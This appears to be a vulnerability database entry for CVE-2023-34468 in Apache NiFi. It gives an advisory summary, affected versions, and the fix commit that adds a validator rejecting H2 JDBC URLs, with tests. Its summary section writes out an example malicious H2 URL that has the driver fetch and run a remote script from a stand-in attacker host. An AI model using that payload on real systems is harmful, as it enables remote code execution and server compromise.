Apache NiFi: Potential Code Injection with Database Services using H2
Description
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user to configure a Database URL with the H2 driver that enables custom code execution.
The resolution validates the Database URL and rejects H2 JDBC locations.
You are recommended to upgrade to version 1.22.0 or later which fixes this issue.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Authenticated NiFi users with permission to configure DBCPConnectionPool or HikariCPConnectionPool can achieve remote code execution by supplying a malicious H2 JDBC URL.
CVE-2023-34468 exposes a remote code execution (RCE) vulnerability in Apache NiFi's DBCPConnectionPool and HikariCPConnectionPool Controller Services. The bug stems from the H2 database driver's ability to execute arbitrary Java code through specially crafted JDBC URLs. NiFi versions 0.0.2 through 1.21.0 do not sanitize these URLs, allowing an attacker to embed a custom initialization script that the driver will run when establishing a connection [1][2].
Exploitation requires authentication and authorization to modify and operate the affected Controller Services. In default NiFi 1.14.0+ installations, this means the attacker must have valid credentials and sufficient privileges (e.g., being able to configure a database connection pool) [2]. No other network access is needed beyond the NiFi API endpoint. The attacker supplies a URL such as jdbc:h2:mem:;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql' which, when processed, causes the H2 driver to download and execute arbitrary SQL (or Java) commands [3].
A successful exploit yields code execution on the NiFi server with the privileges of the NiFi process. This can lead to full system compromise, data exfiltration, lateral movement, or denial of service [3]. The vulnerability has been assigned a CVSS base score of 8.8 (High) by NVD, though practical exploitability is somewhat constrained by the need for authenticated access [2][4].
Apache addressed the issue in NiFi 1.22.0 by adding validation that rejects H2 JDBC URLs [1]. Users are strongly advised to upgrade to 1.22.0 or later. No official workaround has been published beyond restricting authorized users and monitoring for suspicious database URL patterns; upgrading is the definitive fix [1][3].
AI Insight generated on May 20, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
org.apache.nifi:nifi-dbcp-baseMaven | >= 0.0.2, < 1.22.0 | 1.22.0 |
org.apache.nifi:nifi-hikari-dbcp-serviceMaven | >= 0.0.2, < 1.22.0 | 1.22.0 |
org.apache.nifi:nifi-dbcp-service-narMaven | >= 0.0.2, < 1.22.0 | 1.22.0 |
Affected products
5- osv-coords4 versionspkg:bitnami/nifipkg:maven/org.apache.nifi/nifi-dbcp-basepkg:maven/org.apache.nifi/nifi-dbcp-service-narpkg:maven/org.apache.nifi/nifi-hikari-dbcp-service
>= 0.0.2, < 1.22.0+ 3 more
- (no CPE)range: >= 0.0.2, < 1.22.0
- (no CPE)range: >= 0.0.2, < 1.22.0
- (no CPE)range: >= 0.0.2, < 1.22.0
- (no CPE)range: >= 0.0.2, < 1.22.0
- Apache Software Foundation/Apache NiFiv5Range: 0.0.2
Patches
14faf3ea59895NIFI-11653 This closes #7349. Added Connection URL Validation for Database Services
7 files changed · +175 −2
nifi-nar-bundles/nifi-extension-utils/nifi-dbcp-base/src/main/java/org/apache/nifi/dbcp/utils/DBCPProperties.java+2 −1 modified@@ -20,6 +20,7 @@ import org.apache.nifi.components.PropertyValue; import org.apache.nifi.components.resource.ResourceCardinality; import org.apache.nifi.components.resource.ResourceType; +import org.apache.nifi.dbcp.ConnectionUrlValidator; import org.apache.nifi.dbcp.DBCPValidator; import org.apache.nifi.expression.ExpressionLanguageScope; import org.apache.nifi.kerberos.KerberosUserService; @@ -37,7 +38,7 @@ private DBCPProperties() { .description("A database connection URL used to connect to a database. May contain database system name, host, port, database name and some parameters." + " The exact syntax of a database connection URL is specified by your DBMS.") .defaultValue(null) - .addValidator(StandardValidators.NON_EMPTY_VALIDATOR) + .addValidator(new ConnectionUrlValidator()) .required(true) .expressionLanguageSupported(ExpressionLanguageScope.VARIABLE_REGISTRY) .build();
nifi-nar-bundles/nifi-standard-services/nifi-dbcp-service-api/pom.xml+5 −0 modified@@ -32,5 +32,10 @@ <artifactId>nifi-utils</artifactId> <version>2.0.0-SNAPSHOT</version> </dependency> + <dependency> + <groupId>org.apache.nifi</groupId> + <artifactId>nifi-mock</artifactId> + <scope>test</scope> + </dependency> </dependencies> </project>
nifi-nar-bundles/nifi-standard-services/nifi-dbcp-service-api/src/main/java/org/apache/nifi/dbcp/ConnectionUrlValidator.java+66 −0 added@@ -0,0 +1,66 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.nifi.dbcp; + +import org.apache.nifi.components.ValidationContext; +import org.apache.nifi.components.ValidationResult; +import org.apache.nifi.components.Validator; + +import java.util.Collections; +import java.util.Set; + +/** + * Database Connection URL Validator supports system attribute expressions and evaluates URL formatting + */ +public class ConnectionUrlValidator implements Validator { + private static final Set<String> UNSUPPORTED_SCHEMES = Collections.singleton("jdbc:h2"); + + @Override + public ValidationResult validate(final String subject, final String input, final ValidationContext context) { + final ValidationResult.Builder builder = new ValidationResult.Builder().subject(subject).input(input); + + if (input == null || input.isEmpty()) { + builder.valid(false); + builder.explanation("Connection URL required"); + } else { + final String url = context.newPropertyValue(input).evaluateAttributeExpressions().getValue(); + + if (isUrlUnsupported(url)) { + builder.valid(false); + builder.explanation(String.format("Connection URL starts with an unsupported scheme %s", UNSUPPORTED_SCHEMES)); + } else { + builder.valid(true); + builder.explanation("Connection URL is valid"); + } + } + + return builder.build(); + } + + private boolean isUrlUnsupported(final String url) { + boolean unsupported = false; + + for (final String unsupportedScheme : UNSUPPORTED_SCHEMES) { + if (url.startsWith(unsupportedScheme)) { + unsupported = true; + break; + } + } + + return unsupported; + } +}
nifi-nar-bundles/nifi-standard-services/nifi-dbcp-service-api/src/test/java/org/apache/nifi/dbcp/ConnectionUrlValidatorTest.java+77 −0 added@@ -0,0 +1,77 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.nifi.dbcp; + +import org.apache.nifi.components.ValidationContext; +import org.apache.nifi.components.ValidationResult; +import org.apache.nifi.util.MockProcessContext; +import org.apache.nifi.util.MockValidationContext; +import org.apache.nifi.util.NoOpProcessor; +import org.apache.nifi.util.TestRunners; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +class ConnectionUrlValidatorTest { + + private static final String SUBJECT = "Database URL"; + + private static final String EMPTY = ""; + + private static final String UNSUPPORTED_URL = "jdbc:h2:file"; + + private static final String VENDOR_URL = "jdbc:vendor"; + + private ValidationContext validationContext; + + private ConnectionUrlValidator validator; + + @BeforeEach + void setValidator() { + validator = new ConnectionUrlValidator(); + + final MockProcessContext processContext = (MockProcessContext) TestRunners.newTestRunner(NoOpProcessor.class).getProcessContext(); + validationContext = new MockValidationContext(processContext); + } + + @Test + void testValidateEmpty() { + final ValidationResult result = validator.validate(SUBJECT, EMPTY, validationContext); + + assertNotNull(result); + assertFalse(result.isValid()); + } + + @Test + void testValidateUnsupportedUrl() { + final ValidationResult result = validator.validate(SUBJECT, UNSUPPORTED_URL, validationContext); + + assertNotNull(result); + assertFalse(result.isValid()); + } + + @Test + void testValidateSupportedUrl() { + final ValidationResult result = validator.validate(SUBJECT, VENDOR_URL, validationContext); + + assertNotNull(result); + assertTrue(result.isValid()); + } +}
nifi-nar-bundles/nifi-standard-services/nifi-dbcp-service-bundle/nifi-dbcp-service/src/test/java/org/apache/nifi/dbcp/DBCPServiceTest.java+10 −0 modified@@ -57,6 +57,8 @@ public class DBCPServiceTest { private static final String DERBY_SHUTDOWN_STATE = "XJ015"; + private static final String INVALID_CONNECTION_URL = "jdbc:h2"; + private TestRunner runner; private File databaseDirectory; @@ -99,6 +101,14 @@ public void shutdown() throws IOException { } } + @Test + public void testConnectionUrlInvalid() { + runner.assertValid(service); + + runner.setProperty(service, DBCPProperties.DATABASE_URL, INVALID_CONNECTION_URL); + runner.assertNotValid(service); + } + @Test public void testCustomValidateOfKerberosProperties() throws InitializationException { // direct principal + password and no kerberos services is valid
nifi-nar-bundles/nifi-standard-services/nifi-dbcp-service-bundle/nifi-hikari-dbcp-service/src/main/java/org/apache/nifi/dbcp/HikariCPConnectionPool.java+1 −1 modified@@ -76,7 +76,7 @@ public class HikariCPConnectionPool extends AbstractControllerService implements .description("A database connection URL used to connect to a database. May contain database system name, host, port, database name and some parameters." + " The exact syntax of a database connection URL is specified by your DBMS.") .defaultValue(null) - .addValidator(StandardValidators.NON_EMPTY_VALIDATOR) + .addValidator(new ConnectionUrlValidator()) .required(true) .expressionLanguageSupported(ExpressionLanguageScope.VARIABLE_REGISTRY) .build();
nifi-nar-bundles/nifi-standard-services/nifi-dbcp-service-bundle/nifi-hikari-dbcp-service/src/test/java/org/apache/nifi/dbcp/HikariCPConnectionPoolTest.java+14 −0 modified@@ -33,13 +33,27 @@ public class HikariCPConnectionPoolTest { private final static String SERVICE_ID = HikariCPConnectionPoolTest.class.getSimpleName(); + private static final String INVALID_CONNECTION_URL = "jdbc:h2"; + private TestRunner runner; @BeforeEach public void setup() { runner = TestRunners.newTestRunner(NoOpProcessor.class); } + @Test + public void testConnectionUrlInvalid() throws InitializationException { + final HikariCPConnectionPool service = new HikariCPConnectionPool(); + + runner.addControllerService(SERVICE_ID, service); + setDatabaseProperties(service); + runner.assertValid(service); + + runner.setProperty(service, HikariCPConnectionPool.DATABASE_URL, INVALID_CONNECTION_URL); + runner.assertNotValid(service); + } + @Test public void testMissingPropertyValues() throws InitializationException { final HikariCPConnectionPool service = new HikariCPConnectionPool();
Vulnerability mechanics
Generated on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
12- github.com/advisories/GHSA-xm2m-2q6h-22jwghsaADVISORY
- lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8ghsavendor-advisoryWEB
- nvd.nist.gov/vuln/detail/CVE-2023-34468ghsaADVISORY
- packetstormsecurity.com/files/174398/Apache-NiFi-H2-Connection-String-Remote-Code-Execution.htmlghsaWEB
- www.openwall.com/lists/oss-security/2023/06/12/3ghsaWEB
- exceptionfactory.com/posts/2023/10/07/firsthand-analysis-of-apache-nifi-vulnerability-cve-2023-34468ghsaWEB
- github.com/apache/nifi/commit/4faf3ea59895e7e153db3f8f61147ff70a254361ghsaWEB
- github.com/apache/nifi/pull/7349ghsaWEB
- issues.apache.org/jira/browse/NIFI-11653ghsaWEB
- nifi.apache.org/security.htmlghsarelease-notesWEB
- www.cyfirma.com/outofband/apache-nifi-cve-2023-34468-rce-vulnerability-analysis-and-exploitationghsaWEB
- www.cyfirma.com/outofband/apache-nifi-cve-2023-34468-rce-vulnerability-analysis-and-exploitation/mitre
News mentions
0No linked articles in our index yet.